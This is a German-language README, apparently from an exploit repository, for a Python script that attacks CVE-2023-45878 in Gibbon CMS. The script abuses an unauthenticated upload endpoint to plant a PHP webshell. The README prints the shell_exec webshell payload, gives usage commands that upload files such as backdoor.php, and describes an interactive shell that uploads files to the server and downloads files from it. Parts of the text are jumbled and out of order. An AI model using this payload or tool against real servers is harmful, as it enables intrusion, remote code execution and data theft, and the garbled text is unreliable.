
Automatisierter Python-Exploit für CVE-2023-45878, eine nicht authentifizierte Datei-Upload-Schwachstelle in Gibbon CMS, die Remote-Code-Ausführung über PHP-Webshell-Bereitstellung mit interaktiver Shell und Dateiübertragungsfunktionen ermöglicht.
Dieses Python-Skript nutzt CVE-2023-45878 aus, eine nicht authentifizierte Schwachstelle für beliebige Dateiuploads in Gibbon CMS Version 25.0.1 und früher, die zu Remote Code Execution (RCE) führt.
CVE-2023-45878 existiert im Endpunkt rubrics_visualise_saveAjax.php von Gibbon CMS. Dieser Endpunkt ist anfällig, da er keine Authentifizierung erfordert und das Schreiben beliebiger Dateien erlaubt.
Die Schwachstelle ergibt sich aus Folgendem:
modules/Rubrics/rubrics_visualise_saveAjax.php ist ohne jegliche Authentifizierung erreichbar.img, path und gibbonPersonID.
img soll speziell formatierte Daten enthalten, wobei der Teil nach einem Komma ein base64-codierter String ist.path, falls angegeben, wird als Ziel-Dateiname für die hochgeladene Datei verwendet, relativ zum Gibbon-Installationsverzeichnis.img und schreibt ihn in eine durch den Parameter path angegebene Datei.img, der base64-codierten PHP-Code enthält (z.B. <?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>) und Angabe eines path, der zu einer über den Webserver zugänglichen .php-Datei führt, kann ein Angreifer eine PHP-Webshell hochladen und Remote Code Execution auf dem anfälligen Server erreichen.Dieses Python-Skript automatisiert die Ausnutzung von CVE-2023-45878. Es führt die folgenden Aktionen aus:
modules/Rubrics/rubrics_visualise_saveAjax.php, um eine PHP-Webshell hochzuladen. Die Webshell-Payload lautet <?php echo "{VERIFY_TAG}"; if(isset($_GET["cmd"])) {echo @shell_exec($_GET["cmd"]);} ?>, wobei {VERIFY_TAG} ein anpassbarer Tag ist. Die Payload wird base64-codiert und innerhalb des Parameters img gesendet.cmd=echo) gesendet und die Antwort auf den VERIFY_TAG überprüft wird. Es führt auch eine Vorprüfung auf eine vorhandene Shell durch, wenn Optionen wie --verify oder --interactive verwendet werden.user@host:cwd$).python3 exploit.py <target_url> [options]
Argumente:
target_url: Die Basis-URL der Ziel-Gibbon-CMS-Instanz. Das Skript wird http:// voranstellen, wenn kein Schema angegeben ist, und einen abschließenden Schrägstrich sicherstellen (z.B. http://example.com/gibbon oder example.com/gibbon).Optionen:
-s <shell_path>, --shell-path <shell_path>:
Geben Sie den gewünschten Pfad und Dateinamen für die hochgeladene Shell an (z.B. shell.php, uploads/shell.php).
Wenn nicht angegeben, wird ein zufälliger 8-stelliger Dateiname mit der Erweiterung .php im Gibbon-Basisverzeichnis generiert.
Warnung: Stellen Sie sicher, dass der angegebene Pfad vom Webserver beschreibbar und über das Web erreichbar ist.-v, --verify:
Überprüfen Sie nach dem Versuch, die Shell hochzuladen, ob sie funktioniert. Diese Option löst auch eine Vorprüfung aus, ob eine Shell mit dem angegebenen Namen und Tag bereits existiert; falls ja, wird der Upload übersprungen.-i, --interactive:
Wechseln Sie in den interaktiven Shell-Modus. Wenn die Shell noch nicht vorhanden ist (durch eine Vorprüfung bestätigt), wird sie zuerst hochgeladen und verifiziert.-t <tag>, --tag <tag>:
Geben Sie einen benutzerdefinierten statischen Tag an, der in der Webshell-Payload zur Verifizierung verwendet wird. (Standard: ).Beispiele:
Einfacher Exploit mit zufälligem Shell-Namen im Hauptverzeichnis von Gibbon und Standard-Tag:
python3 exploit.py http://target.com/gibbon/
Exploit, Shell-Dateiname my_shell.php im Hauptverzeichnis von Gibbon und Standard-Tag angeben:
python3 exploit.py http://target.com/gibbon/ -s my_shell.php
Exploit, Shell-Dateiname backdoor.php in uploads/ hochladen, verifizieren und benutzerdefinierten Tag verwenden:
python3 exploit.py http://target.com/gibbon/ -s uploads/backdoor.php -v -t MySecretTag123
Exploit, Shell hochladen und in den interaktiven Modus wechseln mit Standard-Tag und 30-Sekunden-Timeout:
python3 exploit.py http://target.com/gibbon/ -s shell.php -i --timeout 30
In den interaktiven Modus mit einer vorhandenen Shell wechseln (das Skript führt eine Vorprüfung auf deren Existenz durch):
python3 exploit.py http://target.com/gibbon/ -s shell.php -t ExploitGibbon -i
Nur überprüfen, ob eine Shell namens mit dem Standard-Tag aktiv ist (versucht hochzuladen, wenn nicht gefunden):
dataclasses, pathlib)requests: Installation mit pip install requestsrich: Installation mit pip install richprompt_toolkit (optional, für verbesserten interaktiven Modus): Installation mit pip install prompt_toolkitDieses Skript wird ausschließlich zu Bildungs- und Sicherheitstestzwecken bereitgestellt. Verwenden Sie es auf eigenes Risiko und nur gegen Systeme, für die Sie ausdrücklich eine Testgenehmigung haben. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Skript verursacht werden. Das Ausnutzen von Schwachstellen ohne Autorisierung ist illegal und unethisch.
cd, um das entfernte Arbeitsverzeichnis zu wechseln.!help: Zeigt Hilfe für interaktive Befehle an.!upload <local_path> [remote_path]: Lädt eine lokale Datei über die Webshell auf den Zielserver hoch.!download <remote_path> [local_path]: Lädt eine Datei vom Zielserver herunter.!lcd <path>: Ändert das lokale aktuelle Arbeitsverzeichnis.!ldir [path]: Listet Dateien und Verzeichnisse im lokalen aktuellen Arbeitsverzeichnis oder im angegebenen Pfad auf.prompt_toolkit, falls verfügbar, für eine verbesserte Befehlszeilenerfahrung (Verlauf, bessere Bearbeitung), andernfalls wird auf Pythons eingebaute input() zurückgegriffen.!upload verwendet den anfälligen Endpunkt erneut, um beliebige Dateien zu schreiben, während !download Systembefehle verwendet, die über die Webshell ausgeführt werden (wie base64 oder PowerShells [Convert]::ToBase64String), um Dateiinhalte abzurufen.ExploitGibbon--timeout <timeout>:
Setzen Sie das HTTP-Anforderungs-Timeout in Sekunden. (Standard: 20).existing_shell.phppython3 exploit.py http://target.com/gibbon/ -s existing_shell.php -v